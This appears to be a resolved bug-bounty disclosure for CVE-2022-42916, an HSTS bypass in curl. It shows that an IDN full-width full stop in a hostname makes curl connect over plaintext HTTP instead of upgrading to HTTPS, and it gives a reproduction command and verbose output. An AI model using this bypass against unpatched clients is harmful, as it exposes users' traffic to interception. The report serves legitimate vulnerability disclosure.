CVE-2022-42916: HSTS bypass via IDN
Medium
C
curl
Submitted None
Actions:
Reported by
kurohiro
Vulnerability Details
Technical details and impact analysis
## Summary:
HSTS checks are bypassed if any character in the IDN convert(Nameprep) to a '.'
for example"。"(UTF-8:E38082).
I think there are other characters that become ".(UTF-8:2E)" as a result of converting with IDN.
'。(UTF-8:E38082)' is converted to '.' so it doesn't matter if it's last or not.
So the same thing happens with "http://accounts.google.com。" as well as "http://accounts.google。com".
## Steps To Reproduce:
`curl -v --hsts hsts.txt http://accounts.google.com。`
I prepared "test.sh" because I was worried about whether I could try it in an environment without Japanese fonts. The character encoding is UTF-8.
hsts:txt:
```
# Your HSTS cache. https://curl.se/docs/hsts.html
# This file was generated by libcurl! Edit at your own risk.
.accounts.google.com "20231011 14:44:21"
```
The results of the execution are shown below.
IDN When not converting:
```
# curl -v --hsts hsts.txt http://accounts.google.com
* Switched from HTTP to HTTPS due to HSTS => https://accounts.google.com/
* Trying 142.250.196.141:443...
* Connected to accounts.google.com (142.250.196.141) port 443 (#0)
* ALPN: offers h2
* ALPN: offers http/1.1
* CAfile: /etc/ssl/certs/ca-certificates.crt
* CApath: /etc/ssl/certs
* TLSv1.0 (OUT), TLS header, Certificate Status (22):
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.2 (IN), TLS header, Certificate Status (22):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS header, Finished (20):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.2 (OUT), TLS header, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server accepted h2
* Server certificate:
* subject: CN=accounts.google.com
* start date: Sep 12 08:19:34 2022 GMT
* expire date: Dec 5 08:19:33 2022 GMT
* subjectAltName: host "accounts.google.com" matched cert's "accounts.google.com"
* issuer: C=US; O=Google Trust Services LLC; CN=GTS CA 1C3
* SSL certificate verify ok.
* Using HTTP2, server supports multiplexing
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* h2h3 [:method: GET]
* h2h3 [:path: /]
* h2h3 [:scheme: https]
* h2h3 [:authority: accounts.google.com]
* h2h3 [user-agent: curl/7.85.0]
* h2h3 [accept: */*]
* Using Stream ID: 1 (easy handle 0x5580b5b3d690)
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
> GET / HTTP/2
> Host: accounts.google.com
> user-agent: curl/7.85.0
> accept: */*
>
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
* TLSv1.2 (IN), TLS header, Supplemental data (23):
< HTTP/2 302
the rest of the information is omitted
```
When IDN convert(1):
```
# curl -v --hsts hsts.txt http://accounts.google.com。
* Trying 142.251.42.141:80...
* Connected to accounts.google.com。 (142.251.42.141) port 80 (#0)
> GET / HTTP/1.1
> Host: accounts.google.com.
> User-Agent: curl/7.85.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Cache-Control: private
< Content-Type: text/html; charset=UTF-8
< Referrer-Policy: no-referrer
< Location: http://accounts.google.com/
< Content-Length: 224
< Date: Tue, 11 Oct 2022 16:28:28 GMT
<
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://accounts.google.com/">here</A>.
</BODY></HTML>
* Connection #0 to host accounts.google.com。 left intact
```
When running with -L, TLS communication was successful. In other words, certificate validation (CN/SAN validation) works fine, so I think you should do the same for HSTS.
I determined the severity with reference to #1557449
## Impact
HSTS bypass.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cleartext Transmission of Sensitive Information